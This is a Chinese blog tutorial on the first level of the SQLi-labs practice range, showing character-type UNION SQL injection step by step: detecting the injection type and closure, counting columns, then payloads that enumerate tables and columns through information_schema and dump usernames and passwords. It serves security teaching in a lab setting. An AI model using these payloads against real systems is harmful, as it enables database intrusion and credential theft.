鲁迅先生曾经说过:做安全,先免责!
用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。
首先明确一点:不管按照什么分类的注入,最终的目的都是获取数据库中的有用信息(如:用户名和密码)
union注入基本流程
数字型比字符型少了一个步骤,即闭合方式的判断

字符型union注入
打开靶场第一关

1.判断注入点
因为是靶场,所以注入点很容易判断。在实际环境中,需要耐心查找测试
hackbar的两个功能按钮
Load URL:将浏览器地址栏中的地址自动加载到右侧方框中Execute:访问右侧方框中的URL地址,等同于在浏览器的地址栏中按下回车

2.判断注入类型
参数:?id=2-1
参数?id=2-1与参数?id=2在页面中的显示结果(即Your Login name和Your Password后面的数据一样)一样,没有对2-1进行减法运算,所以说明为字符型注入
- 如果是数字型,则参数
?id=2-1与参数?id=1有相同的显示结果

3.判断闭合类型
常见的闭合方式无非就是前面介绍的那几种,而且第一关的标题也写了是单引号闭合。这里就不罗嗦了,看一下效果就过了。
使用单引号测试,会产生错误。

使用注释符,注释掉源代码中sql语句后面的内容,正常显示查询结果,说明使用的是单引号闭合。

4.判断列数
参数:?id=2' order by 5--+
order by n:按照第n列排序,如果没有第n列,产生报错n可以自己随机取值,只要能判断出表的列数即可- 如
5报错,则列数小于5;使用3试一下,不报错;使用4试一下,报错。说明列数为3

- 如
前面的文章已经在数据库中看过这张表了,所以不再多说了。列数为3

5.union注入查数据
5.1 找回显位
参数:?id=2' union select 1,2,3--+
执行完成后,可以看出显示的是id=2的信息,没有union后面select语句的查询内容

这个在前面的文章中其实有提到过,我们构造的union查询语句应该返回两条数据,因为使用两个select语句:一个查询id=2的用户信息,一个查询1,2,3
id=2的用户信息占据了页面中的显示位置,所以无法显示1,2,3
可以这样构造参数:?id=-2' union select 1,2,3--+,没有id=-2的用户,所以不会产生查询结果

通过上图可以看到,页面中显示出了数字2和数字3,说明两者为回显位
5.2查数据库
查询当前使用的数据库,参数:?id=-2' union select 1,2,database()--+

5.3 查数据表
查询数据库security下的所有表(利用information_schema库)
参数
union select 1,database(),table_name from information_schema.tables where table_schema=(select database())--+

security库下有多张表,图中只显示了第一个,可以使用group_concat()将所有的表拼接为一行,显示出来。
union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=(select database())--+

凭直觉来讲,users表中肯定存储着用户名和密码
5.4 查数据列
已经找到了users表,还需要知道表中的列名,才可以查询该列下对应的数据
union select 1,database(),group_concat(column_name) from information_schema.columns
where table_schema=(select database())
and table_name='users'--+
- 这里使用了
information_schema库中的columns表 where后面根了两个条件:一个指定数据库为security,一个指定表名为users

5.5 查询数据
前面已经知道了数据库名为security;表名为users;列名为username和password
直接查询数据即可
union select 1,database(),group_concat(username,'~',password) from users--+

group_concat(username,'~',password)中的~是将用户名和密码使用~分隔开,便于查看,记住这种用法即可。
无情的广告时间
哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!
785

被折叠的 条评论
为什么被折叠?



